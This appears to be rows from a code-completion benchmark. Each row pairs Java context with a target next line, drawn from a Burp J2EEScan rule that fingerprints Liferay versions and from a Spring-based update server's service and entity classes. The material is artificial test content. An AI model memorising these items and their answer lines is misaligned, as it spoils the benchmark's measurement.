// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
| import java.util.Iterator;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import burp.IBurpExtenderCallbacks;
import burp.IHttpRequestResponse;
import burp.IHttpService;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk; | package burp.j2ee.passive;
/**
* This scanner try to identify a Liferay istallation on the system by analyzing the header which usually contains
* a string relating to the current version. Some examples of these strings are:
* - Liferay-Portal: Liferay Portal Standard Edition 5.2.3 (Augustine / Build 5203 / May 20, 2009)
* - Liferay-Portal: Liferay Portal Community Edition 6.2.0 CE GA1 (Newton / Build 6200 / November 1, 2013)
* - Liferay-Portal: Liferay Portal Community Edition 6.2 CE GA4 (Newton / Build 6203 / April 16, 2015)
* - Liferay-Portal: Liferay DXP Digital Enterprise 7.0.10 GA1 (Wilberforce / Build 7010 / June 15, 2016)
*
* If the header doesn't contains any string with "Liferay" the body is checked.
*
* This scanner has been tested on the following Liferay versions:
* - Portal 7.3.6-ga7
* - Portal 7.2.0-ga1
* - Portal 7.1.2-ga3
* - Portal 7.0.3-ga3
* - DXP 7.3.10-ga1
*/
public class LiferayRule implements PassiveRule {
@Override
public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse,
String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo,
String httpServerHeader, String contentTypeResponse, String xPoweredByHeader){
List<String> strHeader = respInfo.getHeaders();
String version = "Not determinable";
Pattern p = Pattern.compile("Liferay\\s.*\\d\\.\\d.*");
Matcher m;
IHttpService httpService = baseRequestResponse.getHttpService();
String host = httpService.getHost(), protocol = httpService.getProtocol();
if (IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay detected",
protocol,
host)) {
return;
}
Iterator<String> iterator = strHeader.iterator();
while(iterator.hasNext()){
String s = iterator.next();
/**
* "liferayAUICSS" is the link id for the current theme stylesheet of Liferay, while
* "liferayPortalCSS" is also an id but for another stylesheet
*/
if(s.contains("Liferay") || (!iterator.hasNext()
&& respBody.contains("id=\"liferayAUICSS\"")
&& respBody.contains("id=\"liferayPortalCSS\""))){
m = p.matcher(s);
if(m.find()){
version = m.group();
| // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
// Path: src/main/java/burp/j2ee/passive/LiferayRule.java
import java.util.Iterator;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import burp.IBurpExtenderCallbacks;
import burp.IHttpRequestResponse;
import burp.IHttpService;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
package burp.j2ee.passive;
/**
* This scanner try to identify a Liferay istallation on the system by analyzing the header which usually contains
* a string relating to the current version. Some examples of these strings are:
* - Liferay-Portal: Liferay Portal Standard Edition 5.2.3 (Augustine / Build 5203 / May 20, 2009)
* - Liferay-Portal: Liferay Portal Community Edition 6.2.0 CE GA1 (Newton / Build 6200 / November 1, 2013)
* - Liferay-Portal: Liferay Portal Community Edition 6.2 CE GA4 (Newton / Build 6203 / April 16, 2015)
* - Liferay-Portal: Liferay DXP Digital Enterprise 7.0.10 GA1 (Wilberforce / Build 7010 / June 15, 2016)
*
* If the header doesn't contains any string with "Liferay" the body is checked.
*
* This scanner has been tested on the following Liferay versions:
* - Portal 7.3.6-ga7
* - Portal 7.2.0-ga1
* - Portal 7.1.2-ga3
* - Portal 7.0.3-ga3
* - DXP 7.3.10-ga1
*/
public class LiferayRule implements PassiveRule {
@Override
public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse,
String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo,
String httpServerHeader, String contentTypeResponse, String xPoweredByHeader){
List<String> strHeader = respInfo.getHeaders();
String version = "Not determinable";
Pattern p = Pattern.compile("Liferay\\s.*\\d\\.\\d.*");
Matcher m;
IHttpService httpService = baseRequestResponse.getHttpService();
String host = httpService.getHost(), protocol = httpService.getProtocol();
if (IssuesHandler.isvulnerabilityFound(callbacks,
"J2EEScan - Liferay detected",
protocol,
host)) {
return;
}
Iterator<String> iterator = strHeader.iterator();
while(iterator.hasNext()){
String s = iterator.next();
/**
* "liferayAUICSS" is the link id for the current theme stylesheet of Liferay, while
* "liferayPortalCSS" is also an id but for another stylesheet
*/
if(s.contains("Liferay") || (!iterator.hasNext()
&& respBody.contains("id=\"liferayAUICSS\"")
&& respBody.contains("id=\"liferayPortalCSS\""))){
m = p.matcher(s);
if(m.find()){
version = m.group();
| callbacks.addScanIssue(new CustomScanIssue( |
uustory/u8updateserver | src/com/u8/server/service/UUserManager.java | // Path: src/com/u8/server/common/Page.java
// public class Page<T>
// {
// private PageParameter pageParameter;
// private List<T> resultList = null;
// private int totalCount = -1;
//
// public Page()
// {
// this.pageParameter = new PageParameter(1, 10, false);
// }
//
// public Page(PageParameter params)
// {
// this.pageParameter = params;
// }
//
// public int getTotalPages()
// {
// if (this.totalCount == -1)
// return -1;
// int i = this.totalCount / this.pageParameter.getPageSize();
// if (this.totalCount % this.pageParameter.getPageSize() > 0)
// i++;
// return i;
// }
//
// public List<T> getResultList()
// {
// return this.resultList;
// }
//
// public void setResultList(List<T> paramList)
// {
// this.resultList = paramList;
// }
//
// public int getTotalCount()
// {
// return this.totalCount;
// }
//
// public void setTotalCount(int paramInt)
// {
// this.totalCount = paramInt;
// }
//
// public PageParameter getPageParameter()
// {
// return this.pageParameter;
// }
//
// public void setPageParameter(PageParameter params)
// {
// this.pageParameter = params;
// }
// }
//
// Path: src/com/u8/server/data/UUser.java
// @Entity
// @Table(name="uuser")
// public class UUser {
//
// @Id
// @GeneratedValue(strategy = GenerationType.IDENTITY)
// private Integer id;
// private String name; //更新者组织姓名
// private String updateDesc; //备注
// private String updateKey; //更新key
// private Date keyCreateTime; //key创建时间
// private Integer keyValidDay; //key有效时间,单位天
// private Integer updateValid; //是否可以更新,1可以,0不可以
// private Date createdTime; //创建时间
// private Date lastTime; //最后更新时间
//
// public JSONObject toJSON(){
//
// JSONObject json = new JSONObject();
// json.put("id", id);
// json.put("name", name);
// json.put("updateDesc", updateDesc);
// json.put("updateKey", updateKey);
// json.put("updateValid", updateValid == null ? 0 : updateValid);
// json.put("keyCreateTime", TimeFormater.format_default(keyCreateTime));
// json.put("keyValidDay", keyValidDay);
// json.put("createdTime", TimeFormater.format_default(createdTime));
// json.put("lastTime", lastTime == null ? "" : TimeFormater.format_default(lastTime));
//
// return json;
// }
//
// public Integer getId() {
// return id;
// }
//
// public void setId(Integer id) {
// this.id = id;
// }
//
// public String getName() {
// return name;
// }
//
// public void setName(String name) {
// this.name = name;
// }
//
// public String getUpdateDesc() {
// return updateDesc;
// }
//
// public void setUpdateDesc(String updateDesc) {
// this.updateDesc = updateDesc;
// }
//
// public String getUpdateKey() {
// return updateKey;
// }
//
// public void setUpdateKey(String updateKey) {
// this.updateKey = updateKey;
// }
//
// public Date getKeyCreateTime() {
// return keyCreateTime;
// }
//
// public void setKeyCreateTime(Date keyCreateTime) {
// this.keyCreateTime = keyCreateTime;
// }
//
// public Integer getKeyValidDay() {
// return keyValidDay;
// }
//
// public void setKeyValidDay(Integer keyValidDay) {
// this.keyValidDay = keyValidDay;
// }
//
// public Date getCreatedTime() {
// return createdTime;
// }
//
// public void setCreatedTime(Date createdTime) {
// this.createdTime = createdTime;
// }
//
// public Date getLastTime() {
// return lastTime;
// }
//
// public void setLastTime(Date lastTime) {
// this.lastTime = lastTime;
// }
//
// public Integer getUpdateValid() {
// return updateValid;
// }
//
// public void setUpdateValid(Integer updateValid) {
// this.updateValid = updateValid;
// }
// }
| import com.u8.server.common.OrderParameter;
import com.u8.server.common.OrderParameters;
import com.u8.server.common.Page;
import com.u8.server.common.PageParameter;
import com.u8.server.dao.UUserDao;
import com.u8.server.data.UUser;
import com.u8.server.log.Log;
import com.u8.server.utils.EncryptUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
| package com.u8.server.service;
@Service("userManager")
public class UUserManager {
@Autowired
private UUserDao userDao;
//根据渠道用户ID获取用户信息
| // Path: src/com/u8/server/common/Page.java
// public class Page<T>
// {
// private PageParameter pageParameter;
// private List<T> resultList = null;
// private int totalCount = -1;
//
// public Page()
// {
// this.pageParameter = new PageParameter(1, 10, false);
// }
//
// public Page(PageParameter params)
// {
// this.pageParameter = params;
// }
//
// public int getTotalPages()
// {
// if (this.totalCount == -1)
// return -1;
// int i = this.totalCount / this.pageParameter.getPageSize();
// if (this.totalCount % this.pageParameter.getPageSize() > 0)
// i++;
// return i;
// }
//
// public List<T> getResultList()
// {
// return this.resultList;
// }
//
// public void setResultList(List<T> paramList)
// {
// this.resultList = paramList;
// }
//
// public int getTotalCount()
// {
// return this.totalCount;
// }
//
// public void setTotalCount(int paramInt)
// {
// this.totalCount = paramInt;
// }
//
// public PageParameter getPageParameter()
// {
// return this.pageParameter;
// }
//
// public void setPageParameter(PageParameter params)
// {
// this.pageParameter = params;
// }
// }
//
// Path: src/com/u8/server/data/UUser.java
// @Entity
// @Table(name="uuser")
// public class UUser {
//
// @Id
// @GeneratedValue(strategy = GenerationType.IDENTITY)
// private Integer id;
// private String name; //更新者组织姓名
// private String updateDesc; //备注
// private String updateKey; //更新key
// private Date keyCreateTime; //key创建时间
// private Integer keyValidDay; //key有效时间,单位天
// private Integer updateValid; //是否可以更新,1可以,0不可以
// private Date createdTime; //创建时间
// private Date lastTime; //最后更新时间
//
// public JSONObject toJSON(){
//
// JSONObject json = new JSONObject();
// json.put("id", id);
// json.put("name", name);
// json.put("updateDesc", updateDesc);
// json.put("updateKey", updateKey);
// json.put("updateValid", updateValid == null ? 0 : updateValid);
// json.put("keyCreateTime", TimeFormater.format_default(keyCreateTime));
// json.put("keyValidDay", keyValidDay);
// json.put("createdTime", TimeFormater.format_default(createdTime));
// json.put("lastTime", lastTime == null ? "" : TimeFormater.format_default(lastTime));
//
// return json;
// }
//
// public Integer getId() {
// return id;
// }
//
// public void setId(Integer id) {
// this.id = id;
// }
//
// public String getName() {
// return name;
// }
//
// public void setName(String name) {
// this.name = name;
// }
//
// public String getUpdateDesc() {
// return updateDesc;
// }
//
// public void setUpdateDesc(String updateDesc) {
// this.updateDesc = updateDesc;
// }
//
// public String getUpdateKey() {
// return updateKey;
// }
//
// public void setUpdateKey(String updateKey) {
// this.updateKey = updateKey;
// }
//
// public Date getKeyCreateTime() {
// return keyCreateTime;
// }
//
// public void setKeyCreateTime(Date keyCreateTime) {
// this.keyCreateTime = keyCreateTime;
// }
//
// public Integer getKeyValidDay() {
// return keyValidDay;
// }
//
// public void setKeyValidDay(Integer keyValidDay) {
// this.keyValidDay = keyValidDay;
// }
//
// public Date getCreatedTime() {
// return createdTime;
// }
//
// public void setCreatedTime(Date createdTime) {
// this.createdTime = createdTime;
// }
//
// public Date getLastTime() {
// return lastTime;
// }
//
// public void setLastTime(Date lastTime) {
// this.lastTime = lastTime;
// }
//
// public Integer getUpdateValid() {
// return updateValid;
// }
//
// public void setUpdateValid(Integer updateValid) {
// this.updateValid = updateValid;
// }
// }
// Path: src/com/u8/server/service/UUserManager.java
import com.u8.server.common.OrderParameter;
import com.u8.server.common.OrderParameters;
import com.u8.server.common.Page;
import com.u8.server.common.PageParameter;
import com.u8.server.dao.UUserDao;
import com.u8.server.data.UUser;
import com.u8.server.log.Log;
import com.u8.server.utils.EncryptUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
package com.u8.server.service;
@Service("userManager")
public class UUserManager {
@Autowired
private UUserDao userDao;
//根据渠道用户ID获取用户信息
| public UUser getUserByCpID(int appID, int channelID, String cpUserID){
|
uustory/u8updateserver | src/com/u8/server/service/UUpdateLogManager.java | // Path: src/com/u8/server/common/Page.java
// public class Page<T>
// {
// private PageParameter pageParameter;
// private List<T> resultList = null;
// private int totalCount = -1;
//
// public Page()
// {
// this.pageParameter = new PageParameter(1, 10, false);
// }
//
// public Page(PageParameter params)
// {
// this.pageParameter = params;
// }
//
// public int getTotalPages()
// {
// if (this.totalCount == -1)
// return -1;
// int i = this.totalCount / this.pageParameter.getPageSize();
// if (this.totalCount % this.pageParameter.getPageSize() > 0)
// i++;
// return i;
// }
//
// public List<T> getResultList()
// {
// return this.resultList;
// }
//
// public void setResultList(List<T> paramList)
// {
// this.resultList = paramList;
// }
//
// public int getTotalCount()
// {
// return this.totalCount;
// }
//
// public void setTotalCount(int paramInt)
// {
// this.totalCount = paramInt;
// }
//
// public PageParameter getPageParameter()
// {
// return this.pageParameter;
// }
//
// public void setPageParameter(PageParameter params)
// {
// this.pageParameter = params;
// }
// }
//
// Path: src/com/u8/server/dao/UUpdateLogDao.java
// @Repository("updateLogDao")
// public class UUpdateLogDao extends UHibernateTemplate<UUpdateLog, Long>{
//
// public void saveChannel(UUpdateLog log){
// super.save(log);
// }
//
// public UUpdateLog queryChannel(long id){
//
// return super.get(id);
// }
// }
//
// Path: src/com/u8/server/data/UUpdateLog.java
// @Entity
// @Table(name="uupdatelog")
// public class UUpdateLog {
//
// @Id
// @GeneratedValue(strategy = GenerationType.IDENTITY)
// private Long id;
//
// private Integer userID; //更新者
//
// private String userName; //更新者姓名
//
// private String name; //更新的组件名称
//
// private String fileName; //文件名称
//
// private Date updateTime; //更新时间
//
// private String ipAddr; //IP地址
//
// public JSONObject toJSON(){
//
// JSONObject json = new JSONObject();
// json.put("id", id);
// json.put("userID", userID);
// json.put("userName", userName);
// json.put("name", name);
// json.put("fileName", fileName);
// json.put("updateTime", TimeFormater.format_default(updateTime));
// json.put("ipAddr", ipAddr);
//
// return json;
// }
//
// public Long getId() {
// return id;
// }
//
// public void setId(Long id) {
// this.id = id;
// }
//
// public Integer getUserID() {
// return userID;
// }
//
// public void setUserID(Integer userID) {
// this.userID = userID;
// }
//
// public String getUserName() {
// return userName;
// }
//
// public void setUserName(String userName) {
// this.userName = userName;
// }
//
// public String getName() {
// return name;
// }
//
// public void setName(String name) {
// this.name = name;
// }
//
// public String getFileName() {
// return fileName;
// }
//
// public void setFileName(String fileName) {
// this.fileName = fileName;
// }
//
// public Date getUpdateTime() {
// return updateTime;
// }
//
// public void setUpdateTime(Date updateTime) {
// this.updateTime = updateTime;
// }
//
// public String getIpAddr() {
// return ipAddr;
// }
//
// public void setIpAddr(String ipAddr) {
// this.ipAddr = ipAddr;
// }
// }
| import com.u8.server.common.OrderParameter;
import com.u8.server.common.OrderParameters;
import com.u8.server.common.Page;
import com.u8.server.common.PageParameter;
import com.u8.server.dao.UUpdateLogDao;
import com.u8.server.data.UUpdateLog;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
| package com.u8.server.service;
/**
*/
@Service("updateLogManager")
public class UUpdateLogManager {
@Autowired
| // Path: src/com/u8/server/common/Page.java
// public class Page<T>
// {
// private PageParameter pageParameter;
// private List<T> resultList = null;
// private int totalCount = -1;
//
// public Page()
// {
// this.pageParameter = new PageParameter(1, 10, false);
// }
//
// public Page(PageParameter params)
// {
// this.pageParameter = params;
// }
//
// public int getTotalPages()
// {
// if (this.totalCount == -1)
// return -1;
// int i = this.totalCount / this.pageParameter.getPageSize();
// if (this.totalCount % this.pageParameter.getPageSize() > 0)
// i++;
// return i;
// }
//
// public List<T> getResultList()
// {
// return this.resultList;
// }
//
// public void setResultList(List<T> paramList)
// {
// this.resultList = paramList;
// }
//
// public int getTotalCount()
// {
// return this.totalCount;
// }
//
// public void setTotalCount(int paramInt)
// {
// this.totalCount = paramInt;
// }
//
// public PageParameter getPageParameter()
// {
// return this.pageParameter;
// }
//
// public void setPageParameter(PageParameter params)
// {
// this.pageParameter = params;
// }
// }
//
// Path: src/com/u8/server/dao/UUpdateLogDao.java
// @Repository("updateLogDao")
// public class UUpdateLogDao extends UHibernateTemplate<UUpdateLog, Long>{
//
// public void saveChannel(UUpdateLog log){
// super.save(log);
// }
//
// public UUpdateLog queryChannel(long id){
//
// return super.get(id);
// }
// }
//
// Path: src/com/u8/server/data/UUpdateLog.java
// @Entity
// @Table(name="uupdatelog")
// public class UUpdateLog {
//
// @Id
// @GeneratedValue(strategy = GenerationType.IDENTITY)
// private Long id;
//
// private Integer userID; //更新者
//
// private String userName; //更新者姓名
//
// private String name; //更新的组件名称
//
// private String fileName; //文件名称
//
// private Date updateTime; //更新时间
//
// private String ipAddr; //IP地址
//
// public JSONObject toJSON(){
//
// JSONObject json = new JSONObject();
// json.put("id", id);
// json.put("userID", userID);
// json.put("userName", userName);
// json.put("name", name);
// json.put("fileName", fileName);
// json.put("updateTime", TimeFormater.format_default(updateTime));
// json.put("ipAddr", ipAddr);
//
// return json;
// }
//
// public Long getId() {
// return id;
// }
//
// public void setId(Long id) {
// this.id = id;
// }
//
// public Integer getUserID() {
// return userID;
// }
//
// public void setUserID(Integer userID) {
// this.userID = userID;
// }
//
// public String getUserName() {
// return userName;
// }
//
// public void setUserName(String userName) {
// this.userName = userName;
// }
//
// public String getName() {
// return name;
// }
//
// public void setName(String name) {
// this.name = name;
// }
//
// public String getFileName() {
// return fileName;
// }
//
// public void setFileName(String fileName) {
// this.fileName = fileName;
// }
//
// public Date getUpdateTime() {
// return updateTime;
// }
//
// public void setUpdateTime(Date updateTime) {
// this.updateTime = updateTime;
// }
//
// public String getIpAddr() {
// return ipAddr;
// }
//
// public void setIpAddr(String ipAddr) {
// this.ipAddr = ipAddr;
// }
// }
// Path: src/com/u8/server/service/UUpdateLogManager.java
import com.u8.server.common.OrderParameter;
import com.u8.server.common.OrderParameters;
import com.u8.server.common.Page;
import com.u8.server.common.PageParameter;
import com.u8.server.dao.UUpdateLogDao;
import com.u8.server.data.UUpdateLog;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
package com.u8.server.service;
/**
*/
@Service("updateLogManager")
public class UUpdateLogManager {
@Autowired
| private UUpdateLogDao updateLogDao;
|
uustory/u8updateserver | src/com/u8/server/service/UUpdateLogManager.java | // Path: src/com/u8/server/common/Page.java
// public class Page<T>
// {
// private PageParameter pageParameter;
// private List<T> resultList = null;
// private int totalCount = -1;
//
// public Page()
// {
// this.pageParameter = new PageParameter(1, 10, false);
// }
//
// public Page(PageParameter params)
// {
// this.pageParameter = params;
// }
//
// public int getTotalPages()
// {
// if (this.totalCount == -1)
// return -1;
// int i = this.totalCount / this.pageParameter.getPageSize();
// if (this.totalCount % this.pageParameter.getPageSize() > 0)
// i++;
// return i;
// }
//
// public List<T> getResultList()
// {
// return this.resultList;
// }
//
// public void setResultList(List<T> paramList)
// {
// this.resultList = paramList;
// }
//
// public int getTotalCount()
// {
// return this.totalCount;
// }
//
// public void setTotalCount(int paramInt)
// {
// this.totalCount = paramInt;
// }
//
// public PageParameter getPageParameter()
// {
// return this.pageParameter;
// }
//
// public void setPageParameter(PageParameter params)
// {
// this.pageParameter = params;
// }
// }
//
// Path: src/com/u8/server/dao/UUpdateLogDao.java
// @Repository("updateLogDao")
// public class UUpdateLogDao extends UHibernateTemplate<UUpdateLog, Long>{
//
// public void saveChannel(UUpdateLog log){
// super.save(log);
// }
//
// public UUpdateLog queryChannel(long id){
//
// return super.get(id);
// }
// }
//
// Path: src/com/u8/server/data/UUpdateLog.java
// @Entity
// @Table(name="uupdatelog")
// public class UUpdateLog {
//
// @Id
// @GeneratedValue(strategy = GenerationType.IDENTITY)
// private Long id;
//
// private Integer userID; //更新者
//
// private String userName; //更新者姓名
//
// private String name; //更新的组件名称
//
// private String fileName; //文件名称
//
// private Date updateTime; //更新时间
//
// private String ipAddr; //IP地址
//
// public JSONObject toJSON(){
//
// JSONObject json = new JSONObject();
// json.put("id", id);
// json.put("userID", userID);
// json.put("userName", userName);
// json.put("name", name);
// json.put("fileName", fileName);
// json.put("updateTime", TimeFormater.format_default(updateTime));
// json.put("ipAddr", ipAddr);
//
// return json;
// }
//
// public Long getId() {
// return id;
// }
//
// public void setId(Long id) {
// this.id = id;
// }
//
// public Integer getUserID() {
// return userID;
// }
//
// public void setUserID(Integer userID) {
// this.userID = userID;
// }
//
// public String getUserName() {
// return userName;
// }
//
// public void setUserName(String userName) {
// this.userName = userName;
// }
//
// public String getName() {
// return name;
// }
//
// public void setName(String name) {
// this.name = name;
// }
//
// public String getFileName() {
// return fileName;
// }
//
// public void setFileName(String fileName) {
// this.fileName = fileName;
// }
//
// public Date getUpdateTime() {
// return updateTime;
// }
//
// public void setUpdateTime(Date updateTime) {
// this.updateTime = updateTime;
// }
//
// public String getIpAddr() {
// return ipAddr;
// }
//
// public void setIpAddr(String ipAddr) {
// this.ipAddr = ipAddr;
// }
// }
| import com.u8.server.common.OrderParameter;
import com.u8.server.common.OrderParameters;
import com.u8.server.common.Page;
import com.u8.server.common.PageParameter;
import com.u8.server.dao.UUpdateLogDao;
import com.u8.server.data.UUpdateLog;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
| package com.u8.server.service;
/**
*/
@Service("updateLogManager")
public class UUpdateLogManager {
@Autowired
private UUpdateLogDao updateLogDao;
//分页查找
| // Path: src/com/u8/server/common/Page.java
// public class Page<T>
// {
// private PageParameter pageParameter;
// private List<T> resultList = null;
// private int totalCount = -1;
//
// public Page()
// {
// this.pageParameter = new PageParameter(1, 10, false);
// }
//
// public Page(PageParameter params)
// {
// this.pageParameter = params;
// }
//
// public int getTotalPages()
// {
// if (this.totalCount == -1)
// return -1;
// int i = this.totalCount / this.pageParameter.getPageSize();
// if (this.totalCount % this.pageParameter.getPageSize() > 0)
// i++;
// return i;
// }
//
// public List<T> getResultList()
// {
// return this.resultList;
// }
//
// public void setResultList(List<T> paramList)
// {
// this.resultList = paramList;
// }
//
// public int getTotalCount()
// {
// return this.totalCount;
// }
//
// public void setTotalCount(int paramInt)
// {
// this.totalCount = paramInt;
// }
//
// public PageParameter getPageParameter()
// {
// return this.pageParameter;
// }
//
// public void setPageParameter(PageParameter params)
// {
// this.pageParameter = params;
// }
// }
//
// Path: src/com/u8/server/dao/UUpdateLogDao.java
// @Repository("updateLogDao")
// public class UUpdateLogDao extends UHibernateTemplate<UUpdateLog, Long>{
//
// public void saveChannel(UUpdateLog log){
// super.save(log);
// }
//
// public UUpdateLog queryChannel(long id){
//
// return super.get(id);
// }
// }
//
// Path: src/com/u8/server/data/UUpdateLog.java
// @Entity
// @Table(name="uupdatelog")
// public class UUpdateLog {
//
// @Id
// @GeneratedValue(strategy = GenerationType.IDENTITY)
// private Long id;
//
// private Integer userID; //更新者
//
// private String userName; //更新者姓名
//
// private String name; //更新的组件名称
//
// private String fileName; //文件名称
//
// private Date updateTime; //更新时间
//
// private String ipAddr; //IP地址
//
// public JSONObject toJSON(){
//
// JSONObject json = new JSONObject();
// json.put("id", id);
// json.put("userID", userID);
// json.put("userName", userName);
// json.put("name", name);
// json.put("fileName", fileName);
// json.put("updateTime", TimeFormater.format_default(updateTime));
// json.put("ipAddr", ipAddr);
//
// return json;
// }
//
// public Long getId() {
// return id;
// }
//
// public void setId(Long id) {
// this.id = id;
// }
//
// public Integer getUserID() {
// return userID;
// }
//
// public void setUserID(Integer userID) {
// this.userID = userID;
// }
//
// public String getUserName() {
// return userName;
// }
//
// public void setUserName(String userName) {
// this.userName = userName;
// }
//
// public String getName() {
// return name;
// }
//
// public void setName(String name) {
// this.name = name;
// }
//
// public String getFileName() {
// return fileName;
// }
//
// public void setFileName(String fileName) {
// this.fileName = fileName;
// }
//
// public Date getUpdateTime() {
// return updateTime;
// }
//
// public void setUpdateTime(Date updateTime) {
// this.updateTime = updateTime;
// }
//
// public String getIpAddr() {
// return ipAddr;
// }
//
// public void setIpAddr(String ipAddr) {
// this.ipAddr = ipAddr;
// }
// }
// Path: src/com/u8/server/service/UUpdateLogManager.java
import com.u8.server.common.OrderParameter;
import com.u8.server.common.OrderParameters;
import com.u8.server.common.Page;
import com.u8.server.common.PageParameter;
import com.u8.server.dao.UUpdateLogDao;
import com.u8.server.data.UUpdateLog;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
package com.u8.server.service;
/**
*/
@Service("updateLogManager")
public class UUpdateLogManager {
@Autowired
private UUpdateLogDao updateLogDao;
//分页查找
| public Page<UUpdateLog> queryPage(int currPage, int num){
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.